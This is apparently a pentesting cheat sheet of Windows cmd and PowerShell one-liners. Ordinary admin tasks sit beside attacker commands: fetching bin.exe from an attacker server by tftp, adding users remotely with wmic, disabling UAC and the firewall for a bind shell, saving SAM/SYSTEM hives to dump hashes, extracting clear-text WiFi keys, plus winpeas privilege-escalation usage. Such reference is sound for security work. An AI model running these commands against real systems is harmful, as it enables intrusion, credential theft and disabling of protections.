C:\> wmic /node:ip process call create "net user dum dum /add"List the machines, with usernames, that were connected via RDP
C:\> reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /sList all process that are running on your system by remote users connected via RDP
C:\> query process *Reset the Windows TCP\IP stack
netsh int ip reset c:\tcpresetlog.txtList logged on users.
Very useful during a pentest to look for domain admins
C:\> net session | find "\\"Set a static IP on a remote box
C:\> wmic /node:remotebox nicconfig where Index=1 call EnableStatic ("192.168.1.4"), ("255.255.255.0")Bypass powershell execution policy restrictions
PS C:\> powershell -ExecutionPolicy Bypass -Noninteractive -File .\lastboot.ps1List running processes every second on a remote box
C:\> wmic /node:target process list brief /every:1Remove /node:target for localhost
Get a list of running processes and their command line arguments on a remote system
C:\> wmic /node:target process get commandline, nameRemotely enable and start the Volume Shadow Copy Service
C:\> sc \\target config vss start= auto
C:\> sc \\target start vssPing multiple IPs from ips.txt & see live hosts
ips.txt & see live hostsC:\>for /F %i in (ips.txt) do ping -n 1 %i | find "bytes="Set global proxy in Windows to point to IE proxy
C:\> netsh winhttp import proxy source=ieEnumerate list of drivers with complete path information
C:\> driverquery /FO list /vView Group Policy Objects that have been applied to a system
Very useful during pentests
C:\> gpresult /z /h outputfile.htmlReset the WMI repository to what it was when the OS was installed
Very helpful if you have a corrupt repo
C:\> winmgmt /resetrepositoryCreate symbolic links in Windows Vista, 7 & higher
C:\> mklink <link> <target>
C:\> mklink D:\newlink.txt E:\thisexists.txtEnable the tftp client in Vista & higher
C:\> ocsetup TFTP /quietPull files to a compromised server:
C:\> tftp -i attacksrv get bin.exeObtain list of firewall rules on a local system
C:\> netsh advfi fi sh rule name=allCan be combined with wmic for remote systems
Get name of current domain controller
C:\> set log
C:\> nltest /dcname:DOMAINGet list of all DCs:
C:\> nltest /dclist:DOMAINLook at content cached in kernel mode on IIS 7 and higher
C:\> netsh http sh caUseful when investigating the MS15-034 HTTP.sys vuln
Quick test to check MS15_034
MS15_034C:\> curl -v -H "Range: bytes=234234-28768768" "http://host/a.png" -o a.pngHTTP 416 = Vulnerable
HTTP 20X = Not vulnerable
Get a list of all open Named pipes via Powershell
PS C:\> [System.IO.Directory ]::GetFiles("\\.\\pipe\\")Possible VENOM detection on VirtualBox
VENOM detection on VirtualBoxC:\> vboxmanage list -l vms > a.txtSearch 'Storage' & 'Floppy'
List RDP sessions on local or remote in list format
PS C:\> qwinsta /server: | foreach {($_.trim() -replace "\s+",",")} | ConvertFrom-CsvGet a list of service packs & hotfixes using wmic for remote systems listed in file
C:\> wmic /node:@file /output:out.txt qfe list fullExport wireless connection profiles
C:\> netsh wlan export profilekey=clear allows plain text passwords
Unzip using PowerShell
PS C:\> Add-Type -A System.IO.Compression.FileSystem;[IO.Compression.ZipFile]::ExtractToDirectory(src,dst)Open the Network & Sharing center
control.exe /name Microsoft.NetworkandSharingCenterCreate a shortcut of this as ns in PATH for ease
Remotely stop/start ftp on several systems
C:\> wmic /node:@ips.txt /user:u /password:p process call create "net <start> msftpsvc"To quickly find large files using cmd
C:\> forfiles /s /c "cmd /c if @fsize gtr 100000 echo @path @fsize bytes"Run from the dir you want
Print RDP connections
for /f "delims=" %i in ('reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"') do reg query "%i"List scheduled tasks & binaries
C:\> schtasks /query /fo LIST /vWeak permissions can be exploited for localprivilege escalation
Display the "Stored User names and Passwords" window
C:\> rundll32 keymgr.dll,KRShowKeyMgrList namespaces & classes in WMI via PowerShell
PS C:\> gwmi -n root -cl __Namespace | Select name
PS C:\> gwmi -n root\cimv2 -liConvert Between VDI, VMDK, VHD, RAW disk images using VirtualBox
C:\> vboxmanage clonehd myvdi.vdi myvmdk.vmdk --format VMDKChange file extensions recursively
csv to xls example
C:\Projects> forfiles /S /M *.csv /C "cmd /c ren @file @fname.xls"List IPs of running VirtualBox machines
for /F %i in ('VBoxManage list runningvms') do VBoxManage guestproperty enumerate %i | find "IP"Windows Privilege Escalation Slideshow
Enumerate packages with their OEM .inf filenames
C:\> pnputil -eInstall a driver package using .inf file
C:\> pnputil -i -a path_to_infMalware Hunting with Mark Russinovich and the Sysinternals
Windows Nano Server APIs
https://msdn.microsoft.com/en-us/library/mt588480(v=vs.85).aspx
Start a Wi-Fi hotspot using cmd.exe
Open cmd.exe in admin mode
netsh wlan show drivers
#if Hosted Network supported: Yes
netsh wlan set hostednetwork mode=allow ssid=$ESSID key=$password
netsh wlan start hostednetwork
#to stop
netsh wlan stop hostednetwork
#to check the status of the WiFi hotspot
netsh wlan show hostednetworkDisable UAC via cmdline
C:\> reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v EnableLUA /t REG_DWORD /d 0 /fTurn off Windows firewall for all profiles
Useful if you have a bind shell
C:\> netsh advfirewall set allprofiles state offList Missing Updates
PS C:\> (New-Object -c Microsoft.Update.Session).CreateUpdateSearcher().Search("IsInstalled=0").Updates|Select TitleExport SAM and SYSTEM Dump password hashes offline
C:\>reg save HKLM\SAM SAM
C:\>reg save HKLM\SYSTEM SYSTEMConvert Binary to base64 string to transfer across restricted RDP
PS C:\> [Convert]::ToBase64String((gc -Pa "a.exe" -En By))Convert Base64 string to Binary
PS C:\> sc -Path "a.exe" -Val ([Convert]::FromBase64String((gc -Pa "b64.txt" ))) -En ByList services running as SYSTEM and possibly weak file permissions
wmic service where StartName="LocalSystem"|findstr /IV ":\WIN :\PROG"Check Bitlocker status on a remote box
manage-bde -status -cn <box>Use wmic /node:@ips.txt & process alias for multiple.
Export failed logon attempts
PS C:\> Get-EventLog -Log Security | ?{$_.EntryType -eq 'FailureAudit'} | epcsv log.csvAlternate Data Streams and PS
- List all ADS for all files in current dir 
PS C:\> gi * -s *- Read ADS 
PS C:\> gc <file> -s <ADSName>- Create ADS using text input 
PS C:\> sc <file> -s <ADSName>- Delete ADS 
PS C:\> ri <file> -s <ADSName>Run the Windows Assessment tool for cpu and ram and disk
C:\> winsat cpuformal -v
C:\> winsat memformal -v
C:\> winsat diskformal -vPort forward (proxy) traffic to remote host and port
C:\> netsh int p add v4tov4 <LPORT> <RHOST> [RPORT] [LHOST]Enable/Disable NetBIOS over TCP/IP
Step 1. Get Index of Network Adapter:
C:\> wmic nicconfig get caption,index
Step 2. Use the index 
C:\> wmic nicconfig where index=1 call SetTcpipNetbios 1
0-Def
1-En
2-DisCompact multiple VDI files across folders
C:\> for /F %i in ('dir /b /s *.vdi ^| find ".vdi"') do vboxmanage modifyhd --compact %iFull scan using WinDefender
C:\>"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -scan -scantype 2
Use #wmic /node:@ips process for multiple.Generate 32 char random password
PS C:\> ([char[]](38..126)|sort{Get-Random})[0..32] -join ''Misc
echo %cd% - Same as pwd in Linux
Find files by name with cmd.exe
For files in %PATH%
where $filename
For files not in %PATH%
%PATH%where /R C:\ ping.exe 2>nullFind file by name with PowerShell
Get-Childitem -Path C: -Recurse -ErrorAction SilentlyContinue | ? {$_.Name = $filename}
- you can use wildcards here for name and for extension (e.g. - pass*could match password)
Resolve IP to Hostname
[System.Net.Dns]::GetHostByAddress('$IP').HostName
PowerShell 'Watch' Command
while (1) { $command_to_watch ; sleep 5}
Get WiFi Passwords
First, you have to know the SSID of the access point (AP) to get the password from
netsh wlan show profilesNext, get the cleartext password:
netsh wlan show profile $SSID key=clearGather hostnames of machines on a network
#!/bin/bash
##Author : Paranoid Ninja
##Email  : paranoidninja@protonmail.com
#GitHub  : https://github.com/paranoidninja/alpha-stage-scripts/blob/master/dns_lookup_ad.sh
##Descr  : A Script to gather hostnames of machines within a domain
i="0"
while [ $i -lt "255" ]
do nslookup 10.11.1.$i 10.11.1.220 | grep -v "NXDOMAIN" | grep name | cut -f1,3 -d" "
	i=$[ $i+1 ]
doneWinpeas
winpeas.exe cmd searchall searchfast #cmd commands, search all filenames and avoid sleeping (noisy - CTFs)
winpeas.exe #Will execute all checks except the ones that use a CMD
winpeas.exe cmd #All checks
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
winpeas.exe notcolor #Do not color the output
winpeas.exe cmd wait #cmd commands and wait between tests
In Linux the ouput will be colored using ANSI colors. If you are executing winpeas.exe from a Windows console, you need to set a registry value to see the colors (and open a new CMD): REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
References
If you like this content and would like to see more, please consider buying me a coffee!
Last updated

